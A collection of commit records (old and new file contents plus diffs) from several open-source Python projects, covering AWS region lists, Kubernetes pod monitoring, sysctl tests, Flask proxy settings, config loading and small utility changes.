| Python | mit | cyclecomputing/boto,Timus1712/boto,campenberger/boto,rjschwei/boto,clouddocx/boto,shipci/boto,drbild/boto,appneta/boto,weka-io/boto,s0enke/boto,j-carl/boto,jamesls/boto,SaranyaKarthikeyan/boto,stevenbrichards/boto,jameslegg/boto,yangchaogit/boto,andresriancho/boto,trademob/boto,felix-d/boto,shaunbrady/boto,nexusz99/boto,dablak/boto,garnaat/boto,disruptek/boto,revmischa/boto,tpodowd/boto,ocadotechnology/boto,alex/boto,rosmo/boto,podhmo/boto,ramitsurana/boto,vijaylbais/boto,zachmullen/boto,dablak/boto,elainexmas/boto,weebygames/boto,abridgett/boto,varunarya10/boto,pfhayes/boto,khagler/boto,ryansb/boto,FATruden/boto,awatts/boto,darjus-amzn/boto,jameslegg/boto,ric03uec/boto,bleib1dj/boto,ekalosak/boto,appneta/boto,lochiiconnectivity/boto,kouk/boto,jamesls/boto,zzzirk/boto,dimdung/boto,janslow/boto,lra/boto,vishnugonela/boto,kouk/boto,Asana/boto,alex/boto,rjschwei/boto,alfredodeza/boto,andresriancho/boto,ddzialak/boto,israelbenatar/boto,acourtney2015/boto,jotes/boto,bryx-inc/boto,nishigori/boto,nikhilraog/boto,disruptek/boto,jindongh/boto,drbild/boto,lochiiconnectivity/boto,serviceagility/boto,rayluo/boto,Pretio/boto,TiVoMaker/boto,tpodowd/boto | ---
+++
@@ -0,0 +1,64 @@
+# Copyright (c) 2013 Amazon.com, Inc. or its affiliates. All Rights Reserved
+#
+# Permission is hereby granted, free of charge, to any person obtaining a
+# copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish, dis-
+# tribute, sublicense, and/or sell copies of the Software, and to permit
+# persons to whom the Software is furnished to do so, subject to the fol-
+# lowing conditions:
+#
+# The above copyright notice and this permission notice shall be included
+# in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL-
+# ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
+# SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+# IN THE SOFTWARE.
+#
+from boto.regioninfo import RegionInfo
+
+
+def regions():
+ """
+ Get all available regions for the AWS Elastic Beanstalk service.
+
+ :rtype: list
+ :return: A list of :class:`boto.regioninfo.RegionInfo`
+ """
+ import boto.beanstalk.layer1
+ return [RegionInfo(name='us-east-1',
+ endpoint='elasticbeanstalk.us-east-1.amazonaws.com',
+ connection_cls=boto.beanstalk.layer1.Layer1),
+ RegionInfo(name='us-west-1',
+ endpoint='elasticbeanstalk.us-west-1.amazonaws.com',
+ connection_cls=boto.beanstalk.layer1.Layer1),
+ RegionInfo(name='us-west-2',
+ endpoint='elasticbeanstalk.us-west-2.amazonaws.com',
+ connection_cls=boto.beanstalk.layer1.Layer1),
+ RegionInfo(name='ap-northeast-1',
+ endpoint='elasticbeanstalk.ap-northeast-1.amazonaws.com',
+ connection_cls=boto.beanstalk.layer1.Layer1),
+ RegionInfo(name='ap-southeast-1',
+ endpoint='elasticbeanstalk.ap-southeast-1.amazonaws.com',
+ connection_cls=boto.beanstalk.layer1.Layer1),
+ RegionInfo(name='ap-southeast-2',
+ endpoint='elasticbeanstalk.ap-southeast-2.amazonaws.com',
+ connection_cls=boto.beanstalk.layer1.Layer1),
+ RegionInfo(name='eu-west-1',
+ endpoint='elasticbeanstalk.eu-west-1.amazonaws.com',
+ connection_cls=boto.beanstalk.layer1.Layer1),
+ RegionInfo(name='sa-east-1',
+ endpoint='elasticbeanstalk.sa-east-1.amazonaws.com',
+ connection_cls=boto.beanstalk.layer1.Layer1),
+ ]
+
+
+def connect_to_region(region_name, **kw_params):
+ for region in regions():
+ if region.name == region_name:
+ return region.connect(**kw_params)
+ return None | |
eae7ea91cf3c9d2e72813d04536f113ac8fa4393 | ocular/__init__.py | ocular/__init__.py | import logging
from hestia.tz_utils import now
from kubernetes import watch
from ocular.processor import get_pod_state
logger = logging.getLogger('ocular')
def monitor(k8s_api, namespace, container_names, label_selector=None):
w = watch.Watch()
for event in w.stream(k8s_api.list_namespaced_pod,
namespace=namespace,
label_selector=label_selector):
created_at = now()
logger.debug("Received event: %s", event['type'])
event_object = event['object'].to_dict()
logger.debug(event_object)
yield get_pod_state(
event_type=event['type'],
event=event_object,
job_container_names=container_names,
created_at=created_at)
| import logging
from hestia.tz_utils import now
from kubernetes import watch
from ocular.processor import get_pod_state
logger = logging.getLogger('ocular')
def monitor(k8s_api, namespace, container_names, label_selector=None, return_event=False):
w = watch.Watch()
for event in w.stream(k8s_api.list_namespaced_pod,
namespace=namespace,
label_selector=label_selector):
created_at = now()
logger.debug("Received event: %s", event['type'])
event_object = event['object'].to_dict()
logger.debug("Event object: %s", event_object)
pod_state = get_pod_state(
event_type=event['type'],
event=event_object,
job_container_names=container_names,
created_at=created_at)
logger.debug("Pod state: %s", pod_state)
if return_event:
yield (event_object, pod_state)
else:
yield pod_state
| Add possibility to return the event object as well | Add possibility to return the event object as well
| Python | apache-2.0 | polyaxon/polyaxon,polyaxon/polyaxon,polyaxon/polyaxon | ---
+++
@@ -1,7 +1,6 @@
import logging
from hestia.tz_utils import now
-
from kubernetes import watch
from ocular.processor import get_pod_state
@@ -9,7 +8,7 @@
logger = logging.getLogger('ocular')
-def monitor(k8s_api, namespace, container_names, label_selector=None):
+def monitor(k8s_api, namespace, container_names, label_selector=None, return_event=False):
w = watch.Watch()
for event in w.stream(k8s_api.list_namespaced_pod,
@@ -18,9 +17,14 @@
created_at = now()
logger.debug("Received event: %s", event['type'])
event_object = event['object'].to_dict()
- logger.debug(event_object)
- yield get_pod_state(
+ logger.debug("Event object: %s", event_object)
+ pod_state = get_pod_state(
event_type=event['type'],
event=event_object,
job_container_names=container_names,
created_at=created_at)
+ logger.debug("Pod state: %s", pod_state)
+ if return_event:
+ yield (event_object, pod_state)
+ else:
+ yield pod_state |
f76c1adc3081877d28a656e54eb32c1dcfc2cdb2 | packages/dcos-integration-test/extra/test_sysctl.py | packages/dcos-integration-test/extra/test_sysctl.py | import subprocess
import uuid
def test_if_default_systctls_are_set(dcos_api_session):
"""This test verifies that default sysctls are set for tasks.
We use a `mesos-execute` to check for the values to make sure any task from
any framework would be affected by default.
The job then examines the default sysctls, and returns a failure if another
value is found."""
test_command = ('test "$(/usr/sbin/sysctl vm.swappiness)" = '
'"vm.swappiness = 1"'
' && test "$(/usr/sbin/sysctl vm.max_map_count)" = '
'"vm.max_map_count = 262144"')
argv = [
'/opt/mesosphere/bin/mesos-execute',
'--master=leader.mesos:5050',
'--command={}'.format(test_command),
'--shell=true',
'--env={"LC_ALL":"C"}']
def run_and_check(argv):
name = 'test-sysctl-{}'.format(uuid.uuid4().hex)
output = subprocess.check_output(
argv + ['--name={}'.format(name)],
stderr=subprocess.STDOUT,
universal_newlines=True)
expected_output = \
"Received status update TASK_FINISHED for task '{name}'".format(
name=name)
assert expected_output in output
run_and_check(argv)
run_and_check(argv + ['--role=slave_public'])
| import subprocess
import uuid
def test_if_default_systctls_are_set(dcos_api_session):
"""This test verifies that default sysctls are set for tasks.
We use a `mesos-execute` to check for the values to make sure any task from
any framework would be affected by default.
The job then examines the default sysctls, and returns a failure if another
value is found."""
test_command = ('test "$(/sbin/sysctl vm.swappiness)" = '
'"vm.swappiness = 1"'
' && test "$(/sbin/sysctl vm.max_map_count)" = '
'"vm.max_map_count = 262144"')
argv = [
'/opt/mesosphere/bin/mesos-execute',
'--master=leader.mesos:5050',
'--command={}'.format(test_command),
'--shell=true',
'--env={"LC_ALL":"C"}']
def run_and_check(argv):
name = 'test-sysctl-{}'.format(uuid.uuid4().hex)
output = subprocess.check_output(
argv + ['--name={}'.format(name)],
stderr=subprocess.STDOUT,
universal_newlines=True)
expected_output = \
"Received status update TASK_FINISHED for task '{name}'".format(
name=name)
assert expected_output in output
run_and_check(argv)
run_and_check(argv + ['--role=slave_public'])
| Change path of sysctl to /sbin for ubuntu on azure | Change path of sysctl to /sbin for ubuntu on azure
| Python | apache-2.0 | mnaboka/dcos,mesosphere-mergebot/mergebot-test-dcos,mesosphere-mergebot/dcos,GoelDeepak/dcos,amitaekbote/dcos,kensipe/dcos,lingmann/dcos,surdy/dcos,dcos/dcos,BenWhitehead/dcos,darkonie/dcos,lingmann/dcos,jeid64/dcos,BenWhitehead/dcos,GoelDeepak/dcos,darkonie/dcos,lingmann/dcos,amitaekbote/dcos,jeid64/dcos,mnaboka/dcos,jeid64/dcos,dcos/dcos,mnaboka/dcos,mesosphere-mergebot/mergebot-test-dcos,asridharan/dcos,mesosphere-mergebot/dcos,dcos/dcos,vishnu2kmohan/dcos,amitaekbote/dcos,dcos/dcos,mnaboka/dcos,GoelDeepak/dcos,branden/dcos,mesosphere-mergebot/mergebot-test-dcos,branden/dcos,GoelDeepak/dcos,darkonie/dcos,mesosphere-mergebot/mergebot-test-dcos,BenWhitehead/dcos,asridharan/dcos,kensipe/dcos,dcos/dcos,asridharan/dcos,mesosphere-mergebot/dcos,surdy/dcos,asridharan/dcos,amitaekbote/dcos,surdy/dcos,branden/dcos,mellenburg/dcos,mellenburg/dcos,branden/dcos,jeid64/dcos,kensipe/dcos,vishnu2kmohan/dcos,mellenburg/dcos,darkonie/dcos,surdy/dcos,vishnu2kmohan/dcos,mellenburg/dcos,darkonie/dcos,lingmann/dcos,mnaboka/dcos,mesosphere-mergebot/dcos,BenWhitehead/dcos,kensipe/dcos,vishnu2kmohan/dcos | ---
+++
@@ -10,9 +10,9 @@
The job then examines the default sysctls, and returns a failure if another
value is found."""
- test_command = ('test "$(/usr/sbin/sysctl vm.swappiness)" = '
+ test_command = ('test "$(/sbin/sysctl vm.swappiness)" = '
'"vm.swappiness = 1"'
- ' && test "$(/usr/sbin/sysctl vm.max_map_count)" = '
+ ' && test "$(/sbin/sysctl vm.max_map_count)" = '
'"vm.max_map_count = 262144"')
argv = [ |
e207cab76b797418e75a0a96613e3ced3157aba4 | openaddr/ci/web.py | openaddr/ci/web.py | from flask import Flask
from werkzeug.middleware.proxy_fix import ProxyFix
from .webauth import apply_webauth_blueprint
from .webhooks import apply_webhooks_blueprint
from .webapi import apply_webapi_blueprint
from .webcoverage import apply_coverage_blueprint
from . import load_config
app = Flask(__name__)
app.config.update(load_config())
apply_webauth_blueprint(app)
apply_webhooks_blueprint(app)
apply_webapi_blueprint(app)
apply_coverage_blueprint(app)
# Look at X-Forwarded-* request headers when behind a proxy.
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=2, x_proto=2, x_port=2)
| from flask import Flask
from werkzeug.middleware.proxy_fix import ProxyFix
from .webauth import apply_webauth_blueprint
from .webhooks import apply_webhooks_blueprint
from .webapi import apply_webapi_blueprint
from .webcoverage import apply_coverage_blueprint
from . import load_config
app = Flask(__name__)
app.config.update(load_config())
apply_webauth_blueprint(app)
apply_webhooks_blueprint(app)
apply_webapi_blueprint(app)
apply_coverage_blueprint(app)
# Look at X-Forwarded-* request headers when behind a proxy.
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_port=1)
| Switch back to a single proxy for ProxyFix | Switch back to a single proxy for ProxyFix
| Python | isc | openaddresses/machine,openaddresses/machine,openaddresses/machine | ---
+++
@@ -15,4 +15,4 @@
apply_coverage_blueprint(app)
# Look at X-Forwarded-* request headers when behind a proxy.
-app.wsgi_app = ProxyFix(app.wsgi_app, x_for=2, x_proto=2, x_port=2)
+app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_port=1) |
c262e1d4c1c7422675728298019ee674242b68dd | examples/framework/faren/faren.py | examples/framework/faren/faren.py | #!/usr/bin/env python
import gtk
from kiwi.controllers import BaseController
from kiwi.ui.views import BaseView
from kiwi.ui.gadgets import quit_if_last
class FarenControl(BaseController):
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
def after_temperature__changed(self, entry, *args):
try:
temp = float(entry.get_text())
except ValueError:
temp = 0
celsius = (temp - 32) * 5/9.0
farenheit = (temp * 9/5.0) + 32
self.view.celsius.set_text("%.2f" % celsius)
self.view.farenheit.set_text("%.2f" % farenheit)
widgets = ["quitbutton", "temperature", "celsius", "farenheit"]
view = BaseView(gladefile="faren", delete_handler=quit_if_last,
widgets=widgets)
ctl = FarenControl(view)
view.show()
gtk.main()
| #!/usr/bin/env python
import gtk
from kiwi.controllers import BaseController
from kiwi.ui.views import BaseView
from kiwi.ui.gadgets import quit_if_last
class FarenControl(BaseController):
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
def after_temperature__insert_text(self, entry, *args):
try:
temp = float(entry.get_text())
except ValueError:
temp = 0
celsius = (temp - 32) * 5/9.0
farenheit = (temp * 9/5.0) + 32
self.view.celsius.set_text("%.2f" % celsius)
self.view.farenheit.set_text("%.2f" % farenheit)
widgets = ["quitbutton", "temperature", "celsius", "farenheit"]
view = BaseView(gladefile="faren", delete_handler=quit_if_last,
widgets=widgets)
ctl = FarenControl(view)
view.show()
gtk.main()
| Use insert_text instead of changed | Use insert_text instead of changed
| Python | lgpl-2.1 | Schevo/kiwi,Schevo/kiwi,Schevo/kiwi | ---
+++
@@ -10,7 +10,7 @@
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
- def after_temperature__changed(self, entry, *args):
+ def after_temperature__insert_text(self, entry, *args):
try:
temp = float(entry.get_text())
except ValueError: |
03a286a27e496da78efbed0ca4e4557ee4121e5c | stack/stack.py | stack/stack.py |
class Node(object):
def __init__(self, value=None, next_node=None):
self.value = value
self.next_node = next_node
class Stack(object):
def __init__(self, head=None):
self.head = head
def push(self, data):
self.head = Node(data, self.head)
def pop(self):
if self.head:
retval = self.head.value
self.head = self.head.next_node
return retval
raise LookupError
def write_output(self):
output = ''
count = 1
while self.head:
if count % 2 != 0:
output += str(self.pop()) + ' '
else:
self.pop()
count += 1
return output.rstrip()
| import sys
class Node(object):
def __init__(self, value=None, next_node=None):
self.value = value
self.next_node = next_node
class Stack(object):
def __init__(self, head=None):
self.head = head
def push(self, data):
self.head = Node(data, self.head)
def pop(self):
if self.head:
retval = self.head.value
self.head = self.head.next_node
return retval
raise LookupError
def write_output(self):
output = ''
count = 1
while self.head:
if count % 2 != 0:
output += str(self.pop()) + ' '
else:
self.pop()
count += 1
return output.rstrip()
if __name__ == '__main__':
inputfile = sys.argv[1]
with open(inputfile, 'r') as f:
for line in f.readlines():
line = line.rstrip().split()
if line:
stack = Stack()
for item in line:
stack.push(item)
print stack.write_output()
| Add main block to handle CodeEval inputs | Add main block to handle CodeEval inputs
| Python | mit | MikeDelaney/CodeEval | ---
+++
@@ -1,3 +1,5 @@
+import sys
+
class Node(object):
def __init__(self, value=None, next_node=None):
@@ -29,3 +31,15 @@
self.pop()
count += 1
return output.rstrip()
+
+
+if __name__ == '__main__':
+ inputfile = sys.argv[1]
+ with open(inputfile, 'r') as f:
+ for line in f.readlines():
+ line = line.rstrip().split()
+ if line:
+ stack = Stack()
+ for item in line:
+ stack.push(item)
+ print stack.write_output() |
c1343c392a45d2069b893841f82bf426462bef55 | threadmanager.py | threadmanager.py | import logsupport
from logsupport import ConsoleWarning
HelperThreads = {}
class ThreadItem(object):
def __init__(self, name, start, restart):
self.name = name
self.StartThread = start
self.RestartThread = restart
self.Thread = None
def CheckThreads():
for T in HelperThreads.values():
if not T.Thread.is_alive():
logsupport.Logs.Log("Thread for: "+T.name+" died; restarting",severity=ConsoleWarning)
T.RestartThread()
def StartThreads():
for T in HelperThreads.values():
T.StartThread()
logsupport.Logs.Log("Starting helper thread for: ", T.name)
| import logsupport
from logsupport import ConsoleWarning
HelperThreads = {}
class ThreadItem(object):
def __init__(self, name, start, restart):
self.name = name
self.StartThread = start
self.RestartThread = restart
self.Thread = None
def StopThread(self):
self.Thread.stop()
def CheckThreads():
for T in HelperThreads.values():
if not T.Thread.is_alive():
logsupport.Logs.Log("Thread for: "+T.name+" died; restarting",severity=ConsoleWarning)
T.Thread = T.RestartThread(T)
def StartThreads():
for T in HelperThreads.values():
logsupport.Logs.Log("Starting helper thread for: ", T.name)
T.Thread = T.StartThread()
| Add a stop thread - may be needed for loss of heartbeat case | Add a stop thread - may be needed for loss of heartbeat case
| Python | apache-2.0 | kevinkahn/softconsole,kevinkahn/softconsole | ---
+++
@@ -10,15 +10,20 @@
self.RestartThread = restart
self.Thread = None
+ def StopThread(self):
+ self.Thread.stop()
+
def CheckThreads():
for T in HelperThreads.values():
if not T.Thread.is_alive():
logsupport.Logs.Log("Thread for: "+T.name+" died; restarting",severity=ConsoleWarning)
- T.RestartThread()
+ T.Thread = T.RestartThread(T)
def StartThreads():
for T in HelperThreads.values():
- T.StartThread()
logsupport.Logs.Log("Starting helper thread for: ", T.name)
+ T.Thread = T.StartThread()
+
+ |
bb70a61434f297bdcf30ccc7b95131be75c1f13b | passpie/validators.py | passpie/validators.py | import click
from .history import clone
from . import config
def validate_remote(ctx, param, value):
if value:
try:
remote, branch = value.split('/')
return (remote, branch)
except ValueError:
raise click.BadParameter('remote need to be in format <remote>/<branch>')
def validate_cols(ctx, param, value):
if value:
try:
validated = {c: index for index, c in enumerate(value.split(',')) if c}
for col in ('name', 'login', 'password'):
assert col in validated
return validated
except (AttributeError, ValueError):
raise click.BadParameter('cols need to be in format col1,col2,col3')
except AssertionError as e:
raise click.BadParameter('missing mandatory column: {}'.format(e))
def validate_config(ctx, param, value):
overrides = {k: v for k, v in ctx.params.items() if v}
configuration = {}
configuration.update(config.DEFAULT) # Default configuration
configuration.update(config.read(config.HOMEDIR, '.passpierc')) # Global configuration
configuration.update(config.read(configuration['path'])) # Local configuration
if value:
configuration.update(config.read(value)) # Options configuration
configuration.update(overrides) # Command line options
if config.is_repo_url(configuration['path']) is True:
temporary_path = clone(configuration['path'], depth="1")
configuration.update(config.read(temporary_path)) # Read cloned config
configuration['path'] = temporary_path
configuration = config.setup_crypt(configuration)
return configuration
| import click
from .history import clone
from . import config
def validate_remote(ctx, param, value):
if value:
try:
remote, branch = value.split('/')
return (remote, branch)
except ValueError:
raise click.BadParameter('remote need to be in format <remote>/<branch>')
def validate_cols(ctx, param, value):
if value:
try:
validated = {c: index for index, c in enumerate(value.split(',')) if c}
for col in ('name', 'login', 'password'):
assert col in validated
return validated
except (AttributeError, ValueError):
raise click.BadParameter('cols need to be in format col1,col2,col3')
except AssertionError as e:
raise click.BadParameter('missing mandatory column: {}'.format(e))
def validate_config(ctx, param, value):
overrides = {k: v for k, v in ctx.params.items() if v}
configuration = {}
configuration.update(config.DEFAULT) # Default configuration
configuration.update(config.read(config.HOMEDIR, '.passpierc')) # Global configuration
if value:
configuration.update(config.read(value)) # Options configuration
configuration.update(overrides) # Command line options
if config.is_repo_url(configuration['path']) is True:
temporary_path = clone(configuration['path'], depth="1")
configuration.update(config.read(temporary_path)) # Read cloned config
configuration['path'] = temporary_path
configuration = config.setup_crypt(configuration)
return configuration
| Remove loading config from ".passpie/.config" if db set | Remove loading config from ".passpie/.config" if db set
| Python | mit | marcwebbie/passpie,scorphus/passpie,marcwebbie/passpie,scorphus/passpie | ---
+++
@@ -31,7 +31,6 @@
configuration = {}
configuration.update(config.DEFAULT) # Default configuration
configuration.update(config.read(config.HOMEDIR, '.passpierc')) # Global configuration
- configuration.update(config.read(configuration['path'])) # Local configuration
if value:
configuration.update(config.read(value)) # Options configuration
configuration.update(overrides) # Command line options |
799e79b03a753e5e8ba09a436e325e304a1148d6 | apiserver/worker/grab_config.py | apiserver/worker/grab_config.py | """
Grab worker configuration from GCloud instance attributes.
"""
import json
import requests
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-secret-folder"
MANAGER_URL = requests.get(MANAGER_URL_METADATA_URL, headers={
"Metadata-Flavor": "Google"
}).text
SECRET_FOLDER = requests.get(SECRET_FOLDER_METADATA_URL, headers={
"Metadata-Flavor": "Google"
}).text
with open("config.json", "w") as configfile:
json.dump({
"MANAGER_URL": MANAGER_URL,
"SECRET_FOLDER": SECRET_FOLDER,
}, configfile)
| """
Grab worker configuration from GCloud instance attributes.
"""
import json
import requests
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-secret-folder"
GPU_CAPABILITY_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-gpu"
MANAGER_URL = requests.get(MANAGER_URL_METADATA_URL, headers={
"Metadata-Flavor": "Google"
}).text
SECRET_FOLDER = requests.get(SECRET_FOLDER_METADATA_URL, headers={
"Metadata-Flavor": "Google"
}).text
HAS_GPU = requests.get(SECRET_FOLDER_METADATA_URL, headers={
"Metadata-Flavor": "Google"
}).text == "true"
with open("config.json", "w") as configfile:
json.dump({
"MANAGER_URL": MANAGER_URL,
"SECRET_FOLDER": SECRET_FOLDER,
"CAPABILITIES": ["gpu"] if HAS_GPU else [],
}, configfile)
| Determine GPU presence on workers based on instance metadata | Determine GPU presence on workers based on instance metadata
| Python | mit | lanyudhy/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,HaliteChallenge/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,HaliteChallenge/Halite-II,HaliteChallenge/Halite-II | ---
+++
@@ -7,6 +7,7 @@
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-secret-folder"
+GPU_CAPABILITY_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-gpu"
MANAGER_URL = requests.get(MANAGER_URL_METADATA_URL, headers={
"Metadata-Flavor": "Google"
@@ -14,9 +15,13 @@
SECRET_FOLDER = requests.get(SECRET_FOLDER_METADATA_URL, headers={
"Metadata-Flavor": "Google"
}).text
+HAS_GPU = requests.get(SECRET_FOLDER_METADATA_URL, headers={
+ "Metadata-Flavor": "Google"
+}).text == "true"
with open("config.json", "w") as configfile:
json.dump({
"MANAGER_URL": MANAGER_URL,
"SECRET_FOLDER": SECRET_FOLDER,
+ "CAPABILITIES": ["gpu"] if HAS_GPU else [],
}, configfile) |
65bb7bc1c7e10756a3e172bfe0bf0cc64d03e178 | eve_neo4j/utils.py | eve_neo4j/utils.py | # -*- coding: utf-8 -*-
import time
from copy import copy
from datetime import datetime
from eve.utils import config
from py2neo import Node
def node_to_dict(node):
node = dict(node)
if config.DATE_CREATED in node:
node[config.DATE_CREATED] = datetime.fromtimestamp(
node[config.DATE_CREATED])
if config.LAST_UPDATED in node:
node[config.LAST_UPDATED] = datetime.fromtimestamp(
node[config.LAST_UPDATED])
return node
def dict_to_node(label, properties={}):
props = copy(properties)
if config.DATE_CREATED in props:
props[config.DATE_CREATED] = timestamp(props[config.DATE_CREATED])
if config.LAST_UPDATED in props:
props[config.LAST_UPDATED] = timestamp(props[config.LAST_UPDATED])
return Node(label, **props)
def timestamp(value):
try:
return value.timestamp()
except AttributeError:
return time.mktime(value.timetuple())
def count_selection(selection, with_limit_and_skip=False):
if not with_limit_and_skip:
selection = copy(selection)
selection._skip = None
selection._limit = None
query, params = selection._query_and_parameters
query = query.replace("RETURN _", "RETURN COUNT(_)")
return selection.graph.evaluate(query, params)
def id_field(resource):
return config.DOMAIN[resource].get('id_field', config.ID_FIELD)
| # -*- coding: utf-8 -*-
import time
from copy import copy
from datetime import datetime
from eve.utils import config
from py2neo import Node
def node_to_dict(node):
node = dict(node)
if config.DATE_CREATED in node:
node[config.DATE_CREATED] = datetime.fromtimestamp(
node[config.DATE_CREATED])
if config.LAST_UPDATED in node:
node[config.LAST_UPDATED] = datetime.fromtimestamp(
node[config.LAST_UPDATED])
return node
def dict_to_node(label, properties={}):
_properties = copy(properties)
for k, v in _properties.items():
if isinstance(v, datetime):
_properties[k] = timestamp(v)
return Node(label, **_properties)
def timestamp(value):
try:
return value.timestamp()
except AttributeError:
return time.mktime(value.timetuple())
def count_selection(selection, with_limit_and_skip=False):
if not with_limit_and_skip:
selection = copy(selection)
selection._skip = None
selection._limit = None
query, params = selection._query_and_parameters
query = query.replace("RETURN _", "RETURN COUNT(_)")
return selection.graph.evaluate(query, params)
def id_field(resource):
return config.DOMAIN[resource].get('id_field', config.ID_FIELD)
| Convert every datetime field into float. | Convert every datetime field into float.
| Python | mit | Abraxas-Biosystems/eve-neo4j,Grupo-Abraxas/eve-neo4j | ---
+++
@@ -21,14 +21,12 @@
def dict_to_node(label, properties={}):
- props = copy(properties)
- if config.DATE_CREATED in props:
- props[config.DATE_CREATED] = timestamp(props[config.DATE_CREATED])
+ _properties = copy(properties)
+ for k, v in _properties.items():
+ if isinstance(v, datetime):
+ _properties[k] = timestamp(v)
- if config.LAST_UPDATED in props:
- props[config.LAST_UPDATED] = timestamp(props[config.LAST_UPDATED])
-
- return Node(label, **props)
+ return Node(label, **_properties)
def timestamp(value): |
3ec857dd32330ad2321a471c05c13dad3ee5b58e | tests/test_postgres_processor.py | tests/test_postgres_processor.py | import pytest
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
from scrapi.processing.postgres import PostgresProcessor, Document
from . import utils
test_db = PostgresProcessor()
engine = create_engine('postgresql://localhost/test', echo=True)
session = sessionmaker(bind=engine)()
NORMALIZED = NormalizedDocument(utils.RECORD)
RAW = RawDocument(utils.RAW_DOC)
@pytest.mark.postgres
def test_process_raw():
test_db.process_raw(RAW)
queryset = Document(docID='someID', source=RAW['source'])
assert queryset.docID == RAW.attributes['docID']
| import pytest
# from sqlalchemy import create_engine
# from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
from scrapi.processing.postgres import PostgresProcessor, Document
from . import utils
test_db = PostgresProcessor()
NORMALIZED = NormalizedDocument(utils.RECORD)
RAW = RawDocument(utils.RAW_DOC)
@pytest.mark.postgres
def test_process_raw():
test_db.process_raw(RAW)
queryset = Document(docID='someID', source=RAW['source'])
assert queryset.docID == RAW.attributes['docID']
| Remove sqlalchemy test db setup | Remove sqlalchemy test db setup
| Python | apache-2.0 | erinspace/scrapi,mehanig/scrapi,fabianvf/scrapi,felliott/scrapi,CenterForOpenScience/scrapi,fabianvf/scrapi,mehanig/scrapi,felliott/scrapi,CenterForOpenScience/scrapi,erinspace/scrapi | ---
+++
@@ -1,7 +1,7 @@
import pytest
-from sqlalchemy import create_engine
-from sqlalchemy.orm import sessionmaker
+# from sqlalchemy import create_engine
+# from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
@@ -10,9 +10,6 @@
from . import utils
test_db = PostgresProcessor()
-
-engine = create_engine('postgresql://localhost/test', echo=True)
-session = sessionmaker(bind=engine)()
NORMALIZED = NormalizedDocument(utils.RECORD)
RAW = RawDocument(utils.RAW_DOC) |
36675bf7be5b22f34205b8c1ff22175a4828962f | web/impact/impact/permissions/v1_api_permissions.py | web/impact/impact/permissions/v1_api_permissions.py | from accelerator_abstract.models.base_user_utils import is_employee
from impact.permissions import (
settings,
BasePermission)
class V1APIPermissions(BasePermission):
authenticated_users_only = True
def has_permission(self, request, view):
return request.user.groups.filter(
name=settings.V1_API_GROUP).exists() or is_employee(request.user)
| from accelerator_abstract.models.base_user_utils import is_employee
from accelerator_abstract.models.base_user_role import is_finalist_user
from impact.permissions import (
settings,
BasePermission)
class V1APIPermissions(BasePermission):
authenticated_users_only = True
def has_permission(self, request, view):
return request.user.groups.filter(
name=settings.V1_API_GROUP).exists() or is_employee(
request.user) or is_finalist_user(request.user)
| Add finalists to v1 user group | [AC-7071] Add finalists to v1 user group
| Python | mit | masschallenge/impact-api,masschallenge/impact-api,masschallenge/impact-api,masschallenge/impact-api | ---
+++
@@ -1,4 +1,5 @@
from accelerator_abstract.models.base_user_utils import is_employee
+from accelerator_abstract.models.base_user_role import is_finalist_user
from impact.permissions import (
settings,
BasePermission)
@@ -9,4 +10,5 @@
def has_permission(self, request, view):
return request.user.groups.filter(
- name=settings.V1_API_GROUP).exists() or is_employee(request.user)
+ name=settings.V1_API_GROUP).exists() or is_employee(
+ request.user) or is_finalist_user(request.user) |
03dcdca0f51ca40a2e3fee6da3182197d69de21d | pytrmm/__init__.py | pytrmm/__init__.py | """Package tools for reading TRMM data.
"""
try:
from __dev_version import version as __version__
from __dev_version import git_revision as __git_revision__
except ImportError:
from __version import version as __version__
from __version import git_revision as __git_revision__
import trmm3b4xrt
| """Package tools for reading TRMM data.
"""
try:
from __dev_version import version as __version__
from __dev_version import git_revision as __git_revision__
except ImportError:
from __version import version as __version__
